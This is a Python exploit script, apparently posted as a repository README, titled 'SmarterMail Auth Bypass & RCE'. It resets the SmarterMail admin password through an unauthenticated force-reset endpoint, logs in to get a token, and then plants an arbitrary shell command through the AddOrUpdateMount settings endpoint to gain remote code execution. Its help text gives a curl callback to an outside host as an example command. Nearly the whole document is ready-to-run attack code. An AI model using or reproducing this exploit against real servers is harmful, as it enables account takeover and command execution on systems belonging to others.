README.md
Rendering markdown...
import argparse
import json
import requests
import sys
from logfy import log
from typing import Dict, Any
def login(
username: str,
password: str,
base_url: str = "",
client_id: str = "",
timeout: int = 10
) -> Dict[str, Any]:
url = f"{base_url.rstrip('/')}/api/v1/auth/authenticate-user"
payload = {
"username": username,
"password": password,
"twoFactorCode": "",
"clientId": client_id
}
headers = {
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/json;charset=UTF-8",
"Origin": base_url,
"Referer": f"{base_url}/interface/root",
"Connection": "close"
}
try:
resp = requests.post(url, json=payload, headers=headers, timeout=timeout)
resp.raise_for_status()
except requests.exceptions.RequestException as exc:
# Network / HTTP error
raise exc
data = resp.json()
if not data.get("success", False):
# API returned a failure
raise ValueError(f"Authentication failed: {data}")
return data
def exp(
token: str,
mount_path: str,
command_mount: str,
base_url: str = "",
command_unmount: str = "",
use_args: bool = False,
timeout: int = 10
) -> Dict[str, Any]:
url = f"{base_url.rstrip('/')}/api/v1/settings/sysadmin/AddOrUpdateMount"
payload = {
"commandMount": command_mount,
"commandUnmount": command_unmount,
"useArgumentsInCommand": use_args,
"MountPath": mount_path,
}
headers = {
"Accept": "application/json",
"Content-Type": "application/json;charset=UTF-8",
"Authorization": f"Bearer {token}",
"Origin": base_url,
"Referer": f"{base_url}/interface/root",
"Connection": "close",
}
resp = requests.post(url, json=payload, headers=headers, timeout=timeout)
def reset_password(
old_password: str,
new_password: str,
base_url: str = "",
username: str = "admin",
timeout: int = 10
) -> Dict[str, Any]:
url = f"{base_url.rstrip('/')}/api/v1/auth/force-reset-password"
payload = {
"IsSysAdmin": "true",
"OldPassword": old_password,
"Username": username,
"NewPassword": new_password,
"ConfirmPassword": new_password,
}
headers = {
"Accept": "application/json",
"Content-Type": "application/json",
"Origin": base_url,
"Referer": f"{base_url}/interface/root",
"Connection": "close",
}
try:
resp = requests.post(url, json=payload, headers=headers, timeout=timeout)
resp.raise_for_status()
except requests.exceptions.RequestException as exc:
# Network / HTTP error
raise exc
data = resp.json()
if not data.get("success", False):
# API returned a failure
raise ValueError(f"Password reset failed: {data}")
return data
def main() -> None:
parser = argparse.ArgumentParser(
description="SmarterMail Auth Bypass & RCE"
)
parser.add_argument(
"--url",
required=True,
help="Base URL of the SmarterMail server (e.g. http://localhost:17017)",
)
parser.add_argument(
"--newpass",
required=True,
help="New password to set",
)
parser.add_argument(
"--cmd",
required=True,
help="Command to execute (e.g. 'curl requestrepo.com')",
)
parser.add_argument(
"--username",
default="admin",
help="Username to authenticate (default: admin)",
)
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.username
new_password = args.newpass
mount_cmd = args.cmd
log.info(f"\n[*] Target: {base_url}")
try:
reset_res = reset_password(
old_password="old_pass",
new_password=new_password,
base_url=base_url,
username=username,
)
if reset_res.get("success"):
log.success("Password reset succeeded:", reset_res)
except Exception as e:
log.fail(f"Error resetting password: {e}")
sys.exit(1)
try:
login_res = login(
username=username,
password=new_password,
base_url=base_url,
)
if not login_res.get("success", False):
log.fail("Login returned unsuccessful status")
sys.exit(1)
token = login_res["accessToken"]
log.success(f"Logged in. Token: {token[:10]}...")
except Exception as e:
log.fail(f"Error logging in: {e}")
sys.exit(1)
log.info("Starting to send exploit...")
exp(token=token,mount_path="ccc",command_mount=mount_cmd,base_url=base_url,command_unmount="",use_args=False,timeout=10)
log.info("Exploit sent successfully.")
if __name__ == "__main__":
main()